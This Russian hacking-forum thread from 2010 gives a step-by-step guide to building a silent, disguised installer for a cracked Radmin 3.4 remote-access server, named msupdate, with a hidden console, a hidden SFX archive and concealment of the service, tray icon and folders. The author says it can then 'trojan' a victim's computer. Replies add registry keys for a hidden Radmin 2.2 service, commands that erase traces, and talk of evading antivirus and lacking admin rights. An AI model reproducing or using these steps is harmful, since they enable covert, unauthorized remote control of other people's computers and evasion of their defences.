Создание и тихая установка сервера Radmin 3.4

Тема в разделе "Статьи", создана пользователем Iindigo, 26 ноя 2010.

  1. Iindigo
    Iindigo Guest
    Что понадобится:
    • пакет утилит Radmin Deployment tool (скачать)
    • msi пакет сервера Radmin 3.4 (версия не требует активации, скрывает иконку в трее) (скачать)
    • программа Bat to Exe Converter (скачать)
    • архиватор WinRar (скачать)

    Устанавливаем Radmin Deployment tool, после установки запускаем Radmin MSI Configurator, указываем ему на скачанный msi пакет сервера Radmin 3.4, задаём настройки, добавляем пользователя и сохраняем. Я задал имя пользователя adm, пароль 123456 и сохранил пакет под именем msupdate.msi

    Смотреть видео

    Теперь нужно создать сценарий, который установит этот пакет и скроет следы установки. Открываем блокнот и пишем копипастим:

    код батников поместил в тег QUOTE, т.к. тег PHP не отображал некоторые слеши


    Тоже самое но с комментариями:

    код батников поместил в тег QUOTE, т.к. тег PHP не отображал некоторые слеши

    Сохраняем файл, например как inst.cmd
    Батник это хорошо, но если запустить его даже в скрытом режиме, он всё равно при старте моргнёт чёрным окном консоли, а нам это не нужно. Поэтому, запускаем программу Bat to Exe Compiler. Указываем на наш созданный файл, выставляем переключатель Visibility в Invisible Application, переключатель Working Directory в Temporary Directory и жмём кнопку Compile. Получаем на выходе файл inst.exe

    Смотреть видео

    Теперь, эти два файла, msupdate.msi и inst.exe, объединим в один самораспаковывающийся архив. Если архиватор WinRar не установлен, самое время его поставить. Затем, выделяем файлы и создаем архив. Даём архиву название, в моём случае это msupdate. В настройках архива ставим галочки напротив "Создать "SFX-архив" и "Протестировать файлы после упаковки". Уровень сжатия ставим максимальный. Далее переходим на вкладку "Дополнительно" и открываем "Параметры SFX".
    Вкладка "Общие":
    Путь для распаковки - вводим %windir%\Temp
    Выполнить после распаковки - вводим %windir%\Temp\inst.exe

    Вкладка "Режимы":
    Режим вывода информации - ставим в "Скрыть всё"

    Вкладка "Обновление":
    Режим перезаписи - ставим в "Перезаписывать все файлы без запроса"
    Жмём "Ок" и ещё раз "Ок" для создания архива.
    Инсталлятор готов.

    Смотреть видео

    Всё очень просто. Достаточно запустить этот файл на целевой машине и спустя пару минут мы получим на ней установленного радмина.

    Смотреть видео

    Примечание: служба Radmin Server 3 будет переименована после перезагрузки


    Минусы:

    - начнём с плохого - скрыть или переименовать процесс не удалось, поэтому в тасклисте самым наглым образом палится rserver3.exe;

    - во время установки, пару раз моргает экран, когда накатывается видеодрайвер;

    - некоторые антивирусы могут тявкнуть на крякнутую dll'ку или файл inst.exe

    Плюсы:

    + сервер не виден в трее, пуске, установленных программах, службах, скрыта папка в \system32

    + тихая установка в 1 клик

    + сервер не требует активации


    Висящий в процессах rserver3.exe, безусловно, огромный жирный минус, который сводит на нет все достоинства данного способа. Однако не всё так плохо:
    1. для неопытных пользователей (т.е. для большинства), способ вполне сгодится;
    2. до тех пор, пока пользователь ничего не обнаружил, можно натроянить его компьютер чем угодно.

    Если будет необходимость, можно написать статью о различных способах установки этого пакета, как то:
    • установка по сети, через пробитый шелл (написана);
    • отложенная установка, после работы за консолью;
    • установка через автозапуск с флешки;

    Если есть мысли как улучшить данный способ - архив и все исходники в вашем распоряжении.

    Скачать готовый пакет msupdate.exe
    Создана новая сборка данного пакета, ознакомится с ней можно в статье "Создание и тихая установка сервера Radmin 3.4 v2"

    (с) Iindigo​


    //Копирование на другие ресурсы разрешено только с копирайтом и ссылкой на этот топик.
     
    Последнее редактирование модератором: 17 дек 2010
    26 ноя 2010
    5 пользователям это понравилось.
  2. Asist
    Asist Новичок
    Симпатии:
    0
    Уважаемый Iindigo, это все хорошо, что вы придумали такой мануал, я протестил, все вышло, но есть пару минусов, таких как, в пуску висит папка с ярлыками и висит иконка в трее дальше уже не смотрел... еще бы это исправить и будет круто....

    Я вот тестирую скрытую установку R-server 2.2. для установки надо два файла, (r_server.exe) (raddrv.dll хранение пароля) и пару ключей реестра, они ниже.
    Почему этот сервер, потому что, он когда устанавливается не мерцает экран и малый вес сервера, тоесть мало файлов надо для работы.
    Но есть одна проблема, не как не могу убрать иконку из трея, в ключах реестра нет такой ветки, чтоб убрать иконку...
    Вот они...
    Код:
    Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server]
    "Type"=dword:00000110
    "Start"=dword:00000002
    "ErrorControl"=dword:00000001
    "ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,\
      53,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,72,00,5f,\
      00,73,00,65,00,72,00,76,00,65,00,72,00,2e,00,65,00,78,00,65,00,22,00,20,00,\
      2f,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00
    "DisplayName"="Remote Administrator Service"
    "ObjectName"="LocalSystem"
    "FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,50,00,49,\
      00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server\Security]
    "Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,02,\
      00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\
      00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,\
      05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,\
      20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,\
      00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,\
      00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server\Enum]
    "0"="Root\\LEGACY_R_SERVER\\0000"
    "Count"=dword:00000001
    "NextInstance"=dword:00000001
    
    
    
    Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]
    
    [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]
    
    [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]
    
    [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\NtUsers]
    "1"=hex:
    
    [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
    "NTAuthEnabled"=hex:00,00,00,00
    "Parameter"=hex:5e,9d,e7,4a,1c,c7,4d,6a,02,e6,7e,0c,12,93,42,26
    



    КАК МОЖНО РЕШИТЬ ЭТУ ПРОБЛЕМУ?
     
    Последнее редактирование модератором: 27 ноя 2010
    26 ноя 2010
  3. Iindigo
    Iindigo Guest
    Сегодня/завтра ещё раз проверю пакет, у меня таких проблем не возникало.

    upd: ещё раз проверил на абсолютно сторонней машине (win xp sp3), всё нормально, установка происходит как я и описывал. Возможно, у вас уже стоял какой-то сервер или он был удалён не полностью.
     
    Последнее редактирование модератором: 26 ноя 2010
    26 ноя 2010
  4. RSA
    RSA Новичок
    Симпатии:
    2
    Iindigo, Вы писали
    Если не затруднит, пожалуйста сделайте статейку на вот этот пунктик. Заранее благодарю.
     
    26 ноя 2010
  5. Iindigo
    Iindigo Guest
    Ок, скоро напишу.
    В статье будут описаны (как минимум) все три предлагаемых метода.
     
    26 ноя 2010
  6. Asist
    Asist Новичок
    Симпатии:
    0
    Уважаемый Iindigo, ради спортивного интереса, поставил резервную копию чистой win sp3, тот-же, самый ефект, иконка в трее и папка в пуску....дальше не смотрел....
    Ну бог с ним... я думаю надо заняться, сервером 2.2, но там надо только иконку с трея убрать, и тихая установка через SFX-архив, тоже возможна....
    Я думаю может вы както поможете с этой проблемой....

    Информация к размышлению, сервер 3.4 весит в чистом виде 4,75 МБ. сервер 2.2 в двух файлах весит 759 кб.
    P.S. Иногда старье, может хорошо удружить!
     
    26 ноя 2010
  7. Iindigo
    Iindigo Guest
    Уважаемый Asist, вы скачивали и ставили тот архив который я прицепил в конце старт-топика?

    По поводу радмина 2.2, в соседней теме, onthar писал статью о том как собрать такой сервер. Если затрагивать вашу проблему, то она решается добавлением ключа
    в
     
    26 ноя 2010
    1 человеку нравится это.
  8. Asist
    Asist Новичок
    Симпатии:
    0
    Уважаемый Iindigo, я проверю утром, и отпишусь, спасибо за помощь...
     
    26 ноя 2010
  9. RSA
    RSA Новичок
    Симпатии:
    2
    Mr. Iindigo, поставил Вашу сборку, все работает великолепно, никаких значков в трее, никаких папок в Пуске, и как ни странно даже Авира промолчала, хотя на сервер2,1 все время ругалась при подключении.
    Огромное спасибо. С нетерпением жду следующую статью.
     
    27 ноя 2010
    2 пользователям это понравилось.
  10. onthar
    onthar Продвинутый
    Симпатии:
    224
    можно добавить к скриптам из архива комманду, которая после установки радмина удалит из главного меню папку. Иногда самому тоже нужно как-то извилинами пошевелить для своего же блага)
    Иконки в трее не появилось ни сразу, ни после перезагрузк, не знаю, что у тебя за проблемы.
    Iindigo, у меня руки так и не дошли описать этот процесс с третьей версией радмина(
     
    27 ноя 2010
    1 человеку нравится это.
  11. Iindigo
    Iindigo Guest
    Такая строка есть. Всё будет нормально чиститься / скрываться, если использовать тот архив, который я прицепил в конце первого поста. Если кто-то захочет собрать своё - используйте msi пакет сервера Radmin 3.4, ссылку на который я выложил в начале первого поста. При использовании других пакетов, за результат я не ручаюсь.

    Ты и со второй неплохо постарался. Куда ни глянь, везде копипаста твоей статьи, по установке 2.х =)
     
    27 ноя 2010
  12. Kharek
    Kharek Новичок
    Симпатии:
    1
    Можно ли как-то установить скрытый радмин на машине, если нету админских прав? Пробовал устанавливать - устанавливается, но доступа к реестру нету, поэтому палится в трее. Есть ли какой то способ решить эту проблему? Или посоветуйте что-то аналогичное радмину (нужен доступ к файловой системе удаленного компа).
    Да, кстати, еще не могу открыть через Radmin MSI Configurator мси файл установки, пишет, что данный файл не является файлом установки радмина. Может быть это из-за винды семерки?
     
    Последнее редактирование: 3 дек 2010
    2 дек 2010
  13. Iindigo
    Iindigo Guest
    Kharek, вероятнее всего, ты и правда даёшь RMC .msi файл не radmin'a

    По поводу установки радмина с учётки без администраторских прав - скоро напишу статью, где будет рассматриваться и такой вариант установки.

    Альтернатива радмину есть, вот отличное решение, но лично работоспособность сборки ещё не проверял.
     
    3 дек 2010
  14. Kharek
    Kharek Новичок
    Симпатии:
    1
    Я дают файл, который скачал по ссылке с первого поста этого топика. Пробовал просто запускать установку, все работает.
     
    3 дек 2010
  15. onthar
    onthar Продвинутый
    Симпатии:
    224
    под админом попробуй запусти (правой кнопкой мыши -> открыть как администратор...)
    Видео драйвер там и в правду говно(
     
    3 дек 2010
  16. Kharek
    Kharek Новичок
    Симпатии:
    1
    Пробовал, не помогает :(
     
    3 дек 2010
  17. cs_alex2
    cs_alex2 Новичок
    Симпатии:
    1
    Уважаемый Iindigo, пробовал ваш пакет сервера Radmin 3.4. Может я чего-то не прочитал, но все работает великолепно, как надо, только на Windows XP. На Windows Vista и Windows 7 есть 2 изьяна: из меню Пуск не удаляется каталог установленной программы, а так же иконка в треей остается..
    Возможно ли, что иконка палится из за UAC на новых ОС, а в меню Пуск не удаляется каталог установленной программы, из за неправильного пути к этим ярлыкам ?
    Если оставить команду
    rmdir "%USERPROFILE%\Главное меню\Программы\Radmin Server 3" /Q /S"
    и добавить
    "rmdir "C:\ProgramData\Microsoft\Windows\Start Menu\Program\Radmin Server 3" /Q /S"
    получится ли пакет для всех ОС, чтобы не собирать для каждой отдельно?
     
    Последнее редактирование: 5 дек 2010
    5 дек 2010
    1 человеку нравится это.
  18. Iindigo
    Iindigo Guest
    cs_alex2,
    вы всё верно написали. И про UAC и про путь. Нужно посмотреть куда он кидает кидает файлы и добавить пару строк для их удаления.
     
    5 дек 2010
  19. Neost...
    Neost... Новичок
    Симпатии:
    1
    Iindigo, подскажи, а как сделать тихую установку р-админа за роутер? В паре с хамачи? Как правильно все сделать и настроить?
     
    6 дек 2010
  20. onthar
    onthar Продвинутый
    Симпатии:
    224
    там легче использовать team viewer: http://www.xaker.name/forvb/showthread.php?t=19248

    А вариант с хамачи.. можно и просто какой-нибудь опен-впн клиент с отстуком наколдовать.
    Тут уж специально надо подробности изучать. Надо покопаться будет)
     
    6 дек 2010
Загрузка...